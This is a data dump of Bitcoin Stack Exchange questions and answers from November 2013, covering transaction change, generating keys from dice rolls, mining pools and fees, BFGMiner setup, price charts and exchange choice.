  <row Id="17046" PostTypeId="2" ParentId="17045" CreationDate="2013-11-22T00:22:09.243" Score="3" Body="&lt;p&gt;The transaction shows that BTC 0.1144 were sent to address 1FCR..., and are still there.  If this was the amount of coins you agreed on, and the address you provided the seller, then he has fulfilled his end of the bargain.  The other output of that transaction, sending BTC 0.2507 back to 1HxK... (from where they were later spent), represents &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/736/how-does-change-work-in-a-bitcoin-transaction&quot;&gt;change&lt;/a&gt; and is a normal part of almost every Bitcoin transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If those coins are not showing up in your client, that is a separate problem at your end.  What client are you using?  Does it show the 1FCR... address as an address belonging to you?  Are you sure that it has synced with the block chain?&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-11-22T00:22:09.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17047" PostTypeId="2" ParentId="17013" CreationDate="2013-11-22T00:39:30.083" Score="0" Body="&lt;p&gt;I didn't think I would figure this one out but here is a stab at a solution to my own question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of keys possible in bitcoin in roughly 2^256, some values are not allowed at the end, so in decimal it goes from 1 to 115792089237316195423570985008687907852837564279074904382605163141518161494337.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is 78 digits. What would that number be in base 6? It would be 100 digits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1021410542201502023034020312354303525141003020114142003134301540433233134222423333133255354344331041&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So about 100 or 99 dice throws and we have reached the upper number limit, or close to it. Let's go with 99 so we don't overflow the key space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now imagine a die that is loaded. Very loaded. It actually shows &lt;em&gt;five&lt;/em&gt; 50% of the time. that means that the most probable number, of all numbers, is all fives, with a probability of 0.5^99. That is around 1.6*10^-30. All other number combinations have lower probability. So is 1.6*10^-30 a problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7724/what-happens-if-your-bitcoin-client-generates-an-address-identical-to-another-pe&quot;&gt;this answer&lt;/a&gt; on bitcoin.stackoverflow, this &lt;a href=&quot;https://www.coursera.org/course/crypto&quot; rel=&quot;nofollow noreferrer&quot;&gt;video&lt;/a&gt; &quot;Exhaustive search attacks&quot; from Dan Boneh has him saying &quot;anything that's bigger than 2^90 is considered sufficiently secure&quot; (although that is for a different application). In inverted decimal that is around 8*10^-28.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to this paper &quot;&lt;a href=&quot;http://download.wpsoftware.net/bitcoin-birthday.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;1 The Birthday Paradox&lt;/a&gt;&quot; by Andy Toshi, which is specifically about Bitcoin, it also seems to be safe as far as I can understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So we seem to be on the safe side!&lt;/p&gt;&#xA;" OwnerUserId="8644" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2013-11-22T00:39:30.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17048" PostTypeId="2" ParentId="17027" CreationDate="2013-11-22T00:44:55.510" Score="0" Body="&lt;p&gt;Yeah it could be it's just not the type of &lt;a href=&quot;https://en.wikipedia.org/wiki/Proof-of-work_system&quot; rel=&quot;nofollow&quot;&gt;proof of work&lt;/a&gt; algorithm that was used. Some crypto-coins have since been implemented that are somewhat useful, such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Primecoin&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4241" LastActivityDate="2013-11-22T00:44:55.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17049" PostTypeId="2" ParentId="17013" CreationDate="2013-11-22T01:12:53.700" Score="1" Body="&lt;p&gt;You can certainly use any randomness source you like to generate a private key; however, any bias or correlation in your random inputs will make your key easier to guess and reduce its security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to find a comprehensive analysis of dice randomness in the scientific literature, but this paper could be a start:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Labby, Z. Weldon's dice, automated.  &lt;em&gt;Chance&lt;/em&gt; &lt;strong&gt;22&lt;/strong&gt;(4): 6-13, 2009.  &lt;a href=&quot;http://statistics.uchicago.edu/about/docs/labby09dice.pdf&quot; rel=&quot;nofollow&quot;&gt;http://statistics.uchicago.edu/about/docs/labby09dice.pdf&lt;/a&gt;‎&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Based on a total of 315672 die rolls, the author found a statistically significant bias toward the numbers 1 and 6.  The other references in that paper could be useful.  I also found remarks elsewhere that casino dice, which have flat faces rather than hollowed-out pips, may be less likely to be biased.  Of course, your dice could be different; if you wanted, you could roll them a large number of times and perform various statistical tests on the outcomes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if your dice are biased, there are various ways to &lt;a href=&quot;http://en.wikipedia.org/wiki/Randomness_extractor&quot; rel=&quot;nofollow&quot;&gt;extract randomness&lt;/a&gt; from your data to obtain unbiased random numbers.  One of the simplest approaches (though not the most efficient) was described by von Neumann in 1951:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Von Neumann, J.  Various techniques used in connection with random digits. NIST journal, Applied Math Series, 12:36-38, 1951.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's a description of the technique &lt;a href=&quot;http://pit-claudel.fr/clement/blog/generating-uniformly-random-data-from-skewed-input-biased-coins-loaded-dice-skew-correction-and-the-von-neumann-extractor/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.  Note that it depends on the die rolls being independent and identically distributed, so you would need to roll the same die in exactly the same way each time to get a truly unbiased result.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2013-11-22T16:00:04.410" LastActivityDate="2013-11-22T16:00:04.410" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17050" PostTypeId="2" ParentId="17018" CreationDate="2013-11-22T01:20:28.850" Score="1" Body="&lt;p&gt;You make one call to bitcoind using getblocktemplate to get a template for a block. Then you can generate all the work you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the fantasy world you would find a block instantly. You submit this block and get another template to create the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would be generating hundreds or thousands of blocks per second. The only thing to slow you down is bitcoind validating blocks and pushing them out on the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We will find out what the limit is as new alt coins are created daily, usually with the only &quot;feature&quot; being faster and faster block generation. Once we have an alt coin producing 1000 blocks per second, perhaps we will see some issues (other than disk space).&lt;/p&gt;&#xA;" OwnerUserId="141" LastActivityDate="2013-11-22T01:20:28.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17051" PostTypeId="2" ParentId="17033" CreationDate="2013-11-22T02:15:30.583" Score="1" Body="&lt;p&gt;There are several services that aggregate price information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example&#xA;Bitcoinity has good charts for different exchanges: &lt;a href=&quot;http://bitcoinity.org/markets/bitstamp/USD&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinity.org/markets/bitstamp/USD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While CoinDesk issues a price index which draws on information from several exchanges:&#xA;&lt;a href=&quot;http://coindesk.com/price&quot; rel=&quot;nofollow&quot;&gt;http://coindesk.com/price&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2013-11-22T02:15:30.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17054" PostTypeId="1" CreationDate="2013-11-22T04:20:01.213" Score="1" ViewCount="786" Body="&lt;p&gt;Did the creators of the Block Erupter USB device have the foresight to make it capable of any other function besides mining coins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd hate to think that now that Bitcoin is becoming impossible to mine efficiently, these are going to end up on the heap of truly useless technology.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Y'know?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or perhaps is it still useful to mine non-Bitcoin coins?&lt;/p&gt;&#xA;" OwnerUserId="7502" LastEditorUserId="5406" LastEditDate="2016-03-14T20:28:55.773" LastActivityDate="2016-03-14T20:28:55.773" Title="Can the Block Erupter be used for anything besides coin mining?" Tags="|block|mining-hardware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17055" PostTypeId="1" CreationDate="2013-11-22T04:33:01.230" Score="-1" ViewCount="677" Body="&lt;p&gt;This is my first time bitcoin mining, not sure about it all and I have a few questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They might seem noobish, but we all start somewhere and I doubt any of you were experts right when you started so please don't turn this into a joke or make fun of me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I installed a client, setup the pool with eclipsemc and started mining. I'm not sure if I did anything right but I'll put screenshots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gyazo.com/5d6fe3f85865e26fb97d01f19785998e.png&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/5d6fe3f85865e26fb97d01f19785998e.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gyazo.com/54d1d05dd0797e04128baa85a78b97b4.png&quot; rel=&quot;nofollow&quot;&gt;http://gyazo.com/54d1d05dd0797e04128baa85a78b97b4.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure why it says out of sync, and when I started mining I did this command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bfgminer -o stratum+tcp://us1.eclipsemc.com:3333 -O 16WZxNVmrctmHnZHkg7n5Cr2f2h7z1sjTc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I got my wallet address from the recieve tab in my bitcoin wallet client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also says synchronizing with network and says it'll take 130 weeks... thats a long time. Why is it acting like this and is this normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any steps I missed and am I doing this wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is it better to mine if I run it off an SSD and my computer is pretty good, so I don't think that should hold me back :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know what you guys think?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="9126" LastActivityDate="2013-11-30T18:01:33.140" Title="First Time with Bitcoin" Tags="|wallet|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17056" PostTypeId="2" ParentId="17055" CreationDate="2013-11-22T05:06:03.120" Score="0" Body="&lt;p&gt;You need to download the entire Blockchain.  This is an arduous process as the blockchain I believe at the moment is something like 17-20 GB.  Also, you will not get paid right away because a share is found.  Usually with pools, you need to set a payout minimum...I've seen it to be as low as .01 so unless you add hashpower, I don't think you will ever get paid. See below.  If you are dying to know your balance and the blockchain hasn't finished downloading, use this link here to see what your balance at any given moment in time is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/address/16WZxNVmrctmHnZHkg7n5Cr2f2h7z1sjTc&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/address/16WZxNVmrctmHnZHkg7n5Cr2f2h7z1sjTc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes, we all start somewhere, but you could have likely gotten your answer going to someplace like #bitcoin on webchat.freenode.net.  Saves the embarrassment because people expect you to ask newbie questions in a chat and you can get your answers right away...doing it this way makes you seem lazy...REGARDLESS of the hours you may have spent before coming here trying desperately to figure out the answer for yourself. You show apprehension about asking newbie questions which leads me to believe that you do ask a lot of questions before researching for the answer before hand.  I am totally assuming that and could be completely incorrect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Holy crap you're only doing 100 MH?  You must be GPU mining with something like a 6800GT or something like that.  You aren't making anything from that nowadays:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://btcinvest.net/en/bitcoin-mining-profit-calculator.php?diff=609482679.88835&amp;amp;dcosts=0&amp;amp;diff_mincrease=30&amp;amp;blpbtc=25&amp;amp;dhsmhs=99&amp;amp;diff_mincreasedecrease=3&amp;amp;btcusd=567.08&amp;amp;dpowcon=30&amp;amp;btcusd_mincrease=1&amp;amp;pcost=0.25&amp;amp;calcweeks=32&amp;amp;dleadtime=0&amp;amp;action=calc&quot; rel=&quot;nofollow&quot;&gt;http://btcinvest.net/en/bitcoin-mining-profit-calculator.php?diff=609482679.88835&amp;amp;dcosts=0&amp;amp;diff_mincrease=30&amp;amp;blpbtc=25&amp;amp;dhsmhs=99&amp;amp;diff_mincreasedecrease=3&amp;amp;btcusd=567.08&amp;amp;dpowcon=30&amp;amp;btcusd_mincrease=1&amp;amp;pcost=0.25&amp;amp;calcweeks=32&amp;amp;dleadtime=0&amp;amp;action=calc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without factoring in electricity, you can expect to make forever, at the end of mining  a total sum of ....wait for it.....: .004 BTC (which could end up being $2000 IF Bitcoin reaches 500,000 USD one day.)  If the price stays around 700 dollars then you're looking at a payout of 2.80 USD one day, just enough for a 40 :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Latency from your HDD isn't an issue, neither is the internet speed.  You just need to wait for the whole blockchain to download before you will see mining revenue come in on that address.  Also, finding a share doesn't really mean anything - they equate to literally .00000010s of Bitcoin each and it takes literally millions of them to make Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should probably consider buying a few block erupters instead and mining with those - easier setup and they will likely ROI back in USD as long as the price remains high and you're not trying to start in the middle of next year. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your graphics card uses a lot of power to mine so you are losing as your electricity costs appear to range between 50-60 dollars a month.  &lt;/p&gt;&#xA;" OwnerUserId="5486" LastEditorUserId="196" LastEditDate="2013-11-30T18:01:33.140" LastActivityDate="2013-11-30T18:01:33.140" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="17057" PostTypeId="1" CreationDate="2013-11-22T05:19:02.833" Score="2" ViewCount="3146" Body="&lt;p&gt;Is it possible to install BFGMiner on Debian Wheezy?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been looking for a solution but I can't find one.&lt;/p&gt;&#xA;" OwnerUserId="9066" LastEditorUserId="5406" LastEditDate="2016-03-14T19:56:03.820" LastActivityDate="2016-03-14T19:56:03.820" Title="BFGMiner for Debian Wheezy" Tags="|linux|bfgminer|mining-software|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17058" PostTypeId="2" ParentId="16896" CreationDate="2013-11-22T05:31:10.877" Score="3" Body="&lt;p&gt;Mike Hearn talks in his &lt;a href=&quot;http://www.youtube.com/watch?v=mD4L7xDNCmA&quot; rel=&quot;nofollow&quot; title=&quot;Mike Hearn - Bitcoin 2012&quot;&gt;speech&lt;/a&gt; about the future of bitcoin and mentions subchannels when doing &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_7%3a_Rapidly-adjusted_.28micro.29payments_to_a_pre-determined_party&quot; rel=&quot;nofollow&quot;&gt;micro payments&lt;/a&gt;, is this what you are looking after?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i try this in Testnet&#xA;&lt;strong&gt;getreceivedbyaddress&lt;/strong&gt; does show the amount sent to the multisig address, but &lt;strong&gt;listunspent&lt;/strong&gt; does not. So even if &lt;strong&gt;listaddressgroupings&lt;/strong&gt; include the multisig address, you still need to know the &lt;strong&gt;txid&lt;/strong&gt; to be able to spend that prev_output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i try to send a tx with only 1 signature, this is what i get in the log:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ThreadRPCServer method=sendrawtransaction&lt;/li&gt;&#xA;&lt;li&gt;ERROR: CScriptCheck() : 4378d77e5d VerifySignature failed&lt;/li&gt;&#xA;&lt;li&gt;ERROR: CTxMemPool::accept() : ConnectInputs failed 4378d77e5d&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;and with 2 signatures (Complete):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;ThreadRPCServer method=sendrawtransaction&lt;/li&gt;&#xA;&lt;li&gt;AddToWallet 470a194f21  new&lt;/li&gt;&#xA;&lt;li&gt;keypool reserve 9&lt;/li&gt;&#xA;&lt;li&gt;keypool keep 9&lt;/li&gt;&#xA;&lt;li&gt;CTxMemPool::accept() : accepted 470a194f21 (poolsz 5)&lt;/li&gt;&#xA;&lt;li&gt;AddToWallet 470a194f21  &lt;/li&gt;&#xA;&lt;li&gt;received getdata for: tx 470a194f21&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;txid is also returned &lt;a href=&quot;http://blockexplorer.com/testnet/tx/470a194f2194e0222583c0d7d852fba34ec03863161bd524fb7ccd7d9f594c3f&quot; rel=&quot;nofollow&quot; title=&quot;470a194f21&quot;&gt;470a194f21&lt;/a&gt; by the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My answer is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No, the &lt;strong&gt;mempool&lt;/strong&gt; will not work as a subchannel (right now, if it ever was indended)&lt;/p&gt;&#xA;" OwnerUserId="6756" LastActivityDate="2013-11-22T05:31:10.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17060" PostTypeId="2" ParentId="16864" CreationDate="2013-11-22T05:48:34.420" Score="0" Body="&lt;p&gt;Bitminter does merged mining with Bitcoin and Namecoin. Pretty easy java interface client if you like - but i still prefer cgminer myself (for GPU mining)&lt;/p&gt;&#xA;" OwnerUserId="9131" LastActivityDate="2013-11-22T05:48:34.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17061" PostTypeId="2" ParentId="13884" CreationDate="2013-11-22T05:53:59.553" Score="0" Body="&lt;p&gt;another site like the one above - &lt;a href=&quot;https://www.multipool.us/&quot; rel=&quot;nofollow&quot;&gt;https://www.multipool.us/&lt;/a&gt; - i guess it has a algorithm that changes the coin you are mining depending on the profitability on BTC - i read it was pretty good. I JUST joined/found it like 3 days ago lol have yet to start mining&lt;/p&gt;&#xA;" OwnerUserId="9131" LastActivityDate="2013-11-22T05:53:59.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17062" PostTypeId="1" CreationDate="2013-11-22T06:45:53.083" Score="0" ViewCount="1290" Body="&lt;p&gt;i heard that miner who get bitcoin first gets transaction fees.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then who gets the transaction fee right when mine at mining pool? The miner or The pool?&lt;/p&gt;&#xA;" OwnerUserId="9133" LastEditorUserId="9133" LastEditDate="2013-11-22T07:01:11.617" LastActivityDate="2013-11-23T09:50:46.683" Title="who gets the transaction fees?" Tags="|mining-pools|transaction-fees|" AnswerCount="1" CommentCount="0" ClosedDate="2013-11-25T04:29:03.143" ContentLicense="CC BY-SA 3.0" />
  <row Id="17063" PostTypeId="1" CreationDate="2013-11-22T07:21:49.197" Score="0" ViewCount="17290" Body="&lt;p&gt;I have a Dell Poweredge Server R200 set up with BFGMiner.  Now I know this is old and not very powerful, but I am curious as to how I should use BFGMiner.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I ran it initially, it was not able to find any devices (unless I am doing something wrong).  I have an Advanced Micro Devices [AMD] nee ATI ES1000 VGA compatible controller but I dont know how to use this or the CPU for BFGMiner.&lt;/p&gt;&#xA;" OwnerUserId="9066" LastEditorUserId="5406" LastEditDate="2016-03-10T09:17:26.920" LastActivityDate="2017-12-18T15:29:58.707" Title="Setting up BFGMiner with Devices" Tags="|bfgminer|gpu-mining|cpu-mining|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17064" PostTypeId="2" ParentId="17062" CreationDate="2013-11-22T07:47:44.837" Score="0" Body="&lt;p&gt;It depends on the pool, because the miner (here: the pool) decides. Getting the fees and the block reward just means that you get to include a transaction spending those bitcoins. Typically, this transaction will transfer everything to a Bitcoin address owned by the pool, and the miners get individually paid by the pool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are different allocation schemes that pools use for this, but they all tend to be based on paying for not-quite finding blocks (solving a share), which occasionally but rarely will also happen to solve a block. Essentially, the pool is a bit of a risk insurance, taking in the infrequent but large rewards for hitting the jackpot of finding a new block, and dispensing smaller rewards for, typically, not-quite getting there by their individual miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So whether the pool pays a percentage (say 98%) of all it gets per block, including fees, or else excludes fees and keeps those entirely for itself, or uses some more complicated formula is entirely up to the pool to decide (and the individual miners to agree to by choosing that pool).&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-11-22T07:47:44.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17065" PostTypeId="1" AcceptedAnswerId="17083" CreationDate="2013-11-22T08:31:28.360" Score="-1" ViewCount="134" Body="&lt;p&gt;miner gets the right to get 0.05% as transacton fee when the coin trensfered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, if i start mining at the mining pool, who gets 0.05% of transaction fee? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the pool? or me?&lt;/p&gt;&#xA;" OwnerUserId="9133" LastActivityDate="2013-11-22T13:06:57.157" Title="miner gets the right to get 0.05% as tramsacton fee when the coin trensfered" Tags="|mining-pools|transaction-fees|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-28T00:14:45.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="17066" PostTypeId="1" CreationDate="2013-11-22T08:40:34.733" Score="2" ViewCount="936" Body="&lt;p&gt;i have a blog and now i want to integrate bitcoin using php so that i'm able to accept donations or charity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i don't want any 3rd party processing like for creating qr code or invoices or content like that.&#xA;Is this possible or if not can someone point me in the direction of a proper integration method even if its 3rd party.&lt;/p&gt;&#xA;" OwnerUserId="9135" LastActivityDate="2013-11-22T12:19:16.593" Title="Integrating bitcoin with php to accept donations" Tags="|bitcoind|php|" AnswerCount="1" CommentCount="1" ClosedDate="2013-11-28T22:15:11.703" ContentLicense="CC BY-SA 3.0" />
  <row Id="17067" PostTypeId="1" CreationDate="2013-11-22T09:34:08.413" Score="0" ViewCount="2287" Body="&lt;p&gt;I'm a bitcoin novice and i've read a bit about mining. It got me thinking that I could setup our office network to min bitcoin (obviously with permission)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a centos linux server which is on 24/7/365 and we have 6 windows 7 machines which are on 8 hours a day during a working week when staff are in working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to setup the linux server to mine bitcoins continuously with very low effect to the server's load and the same with all the windows 7 machines? What sort of mining software would be idea for the setup.&lt;/p&gt;&#xA;" OwnerUserId="9138" LastEditorUserId="5406" LastEditDate="2016-04-28T13:24:03.387" LastActivityDate="2019-10-09T03:44:14.353" Title="Bitcoin Mining on Office Network" Tags="|mining-pools|miner-configuration|linux|server|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17069" PostTypeId="1" AcceptedAnswerId="17073" CreationDate="2013-11-22T10:12:06.873" Score="1" ViewCount="3025" Body="&lt;p&gt;Can someone please give me a basic intro to the following chart?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JWqfv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What do those bars mean?&lt;/li&gt;&#xA;&lt;li&gt;What does that yellow line mean?&lt;/li&gt;&#xA;&lt;li&gt;What do the green and red bits mean?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2019-11-07T08:55:46.193" Title="Reading a bitcoin chart" Tags="|charts|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17072" PostTypeId="1" AcceptedAnswerId="17075" CreationDate="2013-11-22T10:39:36.233" Score="0" ViewCount="305" Body="&lt;p&gt;If I live in the USA, and buy/sell bitcoins from a Japanese exchange, are their any advantages/disadvantages for doing this, instead of buying bitcoins from a USA exchange?&lt;/p&gt;&#xA;" OwnerUserId="4823" LastActivityDate="2018-05-24T12:15:51.513" Title="Bitcoin exchange, local or foreign?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17073" PostTypeId="2" ParentId="17069" CreationDate="2013-11-22T11:02:01.010" Score="3" Body="&lt;p&gt;The blue bars indicate the transaction volume in that period, this is how many bitcoins have been traded. Use the blue numbers at the left axis to see how many bitcoins were traded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The yellow line is the average weighted price in that period. Use the yellow numbers on the right to see what the price is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The green and red parts show the fluctuations (high &amp;amp; low) around the average price. It shows that at 16h00 there was a trade at a price above 1000 (USD I guess). However this could be a single trade of 0.001 BTC for 1 dollar... You cannot derive this from the chart.&lt;/p&gt;&#xA;" OwnerUserId="9143" LastActivityDate="2013-11-22T11:02:01.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17074" PostTypeId="2" ParentId="17067" CreationDate="2013-11-22T11:10:08.480" Score="1" Body="&lt;p&gt;CPU and GPU mining costs more in electricity than it rewards in BTC at the moment.&#xA;You need special equipment with ASIC chips to mine at a profit.&#xA;These chips are designed to perform many hashes at low power consumption.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest you ask your boss if he agrees with the negative efficiency of your current setup.&lt;/p&gt;&#xA;" OwnerUserId="9143" LastActivityDate="2013-11-22T11:10:08.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17075" PostTypeId="2" ParentId="17072" CreationDate="2013-11-22T11:28:56.253" Score="1" Body="&lt;p&gt;There are legal differences. I won't go as far as saying I can tell you if any of them are advantages or disadvantages, because I don't think I can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If both your exchange company and their banking is in your country, then there is no question if there is any legal obligation on your part to tell your government that you dared move money outside the country. Check your laws; if you're middle class, you'll be surprised how low the trigger amount for such issues that you might think would afflict only the seriously affluent can be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing that is not very different is that no bitcoin exchange I am aware of is fully compliant with all laws fit for all sorts of similar enterprises for every location where they do business, and most probably are not compliant in any or only in hardly any. Some like to advertise their compliance, but I suppose the one case (campbx) where I did get more information on that by inquiring is typical. They wrote me earlier this year that they were then only compliant with the (comparatively easy) Federal FinCEN rules, not the rather tough state money transmitter licensing, although they emphasized their efforts towards progress on that front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whilst you may argue that this is mostly because many people don't get how these laws cannot possibly apply to bitcoin businesses, that hasn't stopped authorities in some countries from temporarily seizing a bank account of a bitcoin exchange (one case I know of was in Poland, and one not related to such laws in Germany) or even seizing a bank account for forfeiture (one case I know of in the USA).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this is not different, but still there is the subtle but important distinction if there is even a chance that your exchange will be allowed to remain in business and at least try to continue honoring its obligations to its customers (as happened with MtGox, even after a possibly minor bank account they had in the US was seized for forfeiture for failing to have state licensing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wonder if it would go the same way for an exchange based in the US. Or in comparable countries, for that matter. For a UK company banking in Germany and Poland, the empirical answer is no (bitcoin-24 stopped doing business after its German bank acount was temporarily seized and hence released back to them, and their Polish bank account was simultaneously seized but at least not completely released back to them yet). Again, I wouldn't even try to venture towards judging which is better and for whom.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-11-22T11:46:26.807" LastActivityDate="2013-11-22T11:46:26.807" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17078" PostTypeId="2" ParentId="17069" CreationDate="2013-11-22T12:05:30.300" Score="2" Body="&lt;p&gt;Just click on the &quot;WTF?&quot; link in the top-right corner, and it's all explained on the very page you're looking at.&lt;/p&gt;&#xA;" OwnerUserId="9145" LastActivityDate="2013-11-22T12:05:30.300" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17079" PostTypeId="2" ParentId="17066" CreationDate="2013-11-22T12:19:16.593" Score="2" Body="&lt;pre&gt;&lt;code&gt;https://en.bitcoin.it/wiki/PHP_developer_intro&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This site shows all you need to get going. You'll need to run a dedicated bitcoind wallet on a server, which can accept JSON-RPC to call the various functions of bitcoind, which will respond back with a JSON object.&lt;/p&gt;&#xA;" OwnerUserId="9146" LastActivityDate="2013-11-22T12:19:16.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
